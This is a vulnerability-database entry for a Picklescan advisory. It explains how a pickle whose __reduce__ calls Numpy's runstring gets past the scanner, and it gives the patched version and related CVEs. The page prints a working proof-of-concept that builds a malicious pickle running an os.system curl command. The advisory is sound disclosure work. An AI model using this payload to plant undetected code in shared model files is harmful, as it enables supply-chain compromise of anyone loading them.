CVE-2025-71355Medium▾ SunlitPicklescan failed to detect to some unsafe global function in Numpy library
▾ Sunlit zone — Low / medium · no exploitation signal
impact 27.5 · likelihood 0.1 · exploitation 0
Need a working PoC? Pro members can cast a request and our team develops one — it lands right here.
Exploit-prediction probability, daily snapshots since Jul 8.
Disclosure to exploitation, from the record and what we observed since indexing it.
Disclosed via OSV
Last analysed / modified upstream
0.6%
0.6% → 0.6%
An unsafe deserialization vulnerability in Python’s pickle module allows an attacker to bypass static analysis tools like Picklescan and execute arbitrary code during deserialization. This can be exploited by import some built-in function in Numpy library that indrectly call some dangerous function like exec() to execute some python code as a parameter, which the attacker can import dangerous library inside like os library and execute arbitrary OS commands.
Pickle’s deserialization process is known to allow execution of function via reduce method. While Picklescan is meant to detect such exploits, this attack evades detection by calling function in Numpy library that call dangerous function like exec(). And since Numpy library wasn't inside unsafe globals blacklist, it may not raise red flag in the security scan.
The attack payload executes in the following steps:
import pickle
import torch
import pickle
from picklescan.scanner import scan_file_path
class Payload:
def __reduce__(self):
from numpy.testing._private.utils import runstring
return runstring, ("import os; os.system('curl https://example.com')",{})
def create_payload():
with open('payload.pickle', 'wb') as f:
pickle.dump(Payload(), f)
def load_payload():
result = scan_file_path('payload.pickle')
if result.infected_files != 0 or result.scan_err:
print('File is infected')
else:
print('File is clean')
with open('payload.pickle', 'rb') as f:
pickle.load(f)
create_payload()
load_payload()
Severity: High
Who is impacted? Any organization or individual relying on picklescan to detect malicious pickle files inside PyTorch models. For example, Invoke-AI repository (https://github.com/invoke-ai/InvokeAI) What is the impact? Attackers can embed malicious code in pickle file that remains undetected but executes when the pickle file is loaded. Supply Chain Attack: Attackers can distribute infected pickle files across ML models, APIs, or saved Python objects.
I suggest adding Numpy library to the unsafe globals blacklist.
picklescan < 0.0.25Upgrade to a patched release:
picklescan 0.0.25Connected by shared product, vendor, weakness, or advisory.
CVE-2025-71357HighPicklescan is missing detection when calling built-in python idlelib.pyshell.ModifiedInterpreter.runcommand
CVE-2025-71378MediumPicklescan is missing detection when calling built-in Python cProfile.runctx
CVE-2025-71348High· 8.1Picklescan is missing detection when calling pytorch function torch.utils._config_module.load_config
CVE-2026-56304Mediumpicklescan vulnerable to arbitrary file create using logging.FileHandler
CVE-2026-53875HighPicklescan (scan_pytorch) Bypass via dynamic eval MAGIC_NUMBER
CVE-2025-71344MediumPicklescan is missing detection when calling built-in python ensurepip._run_pip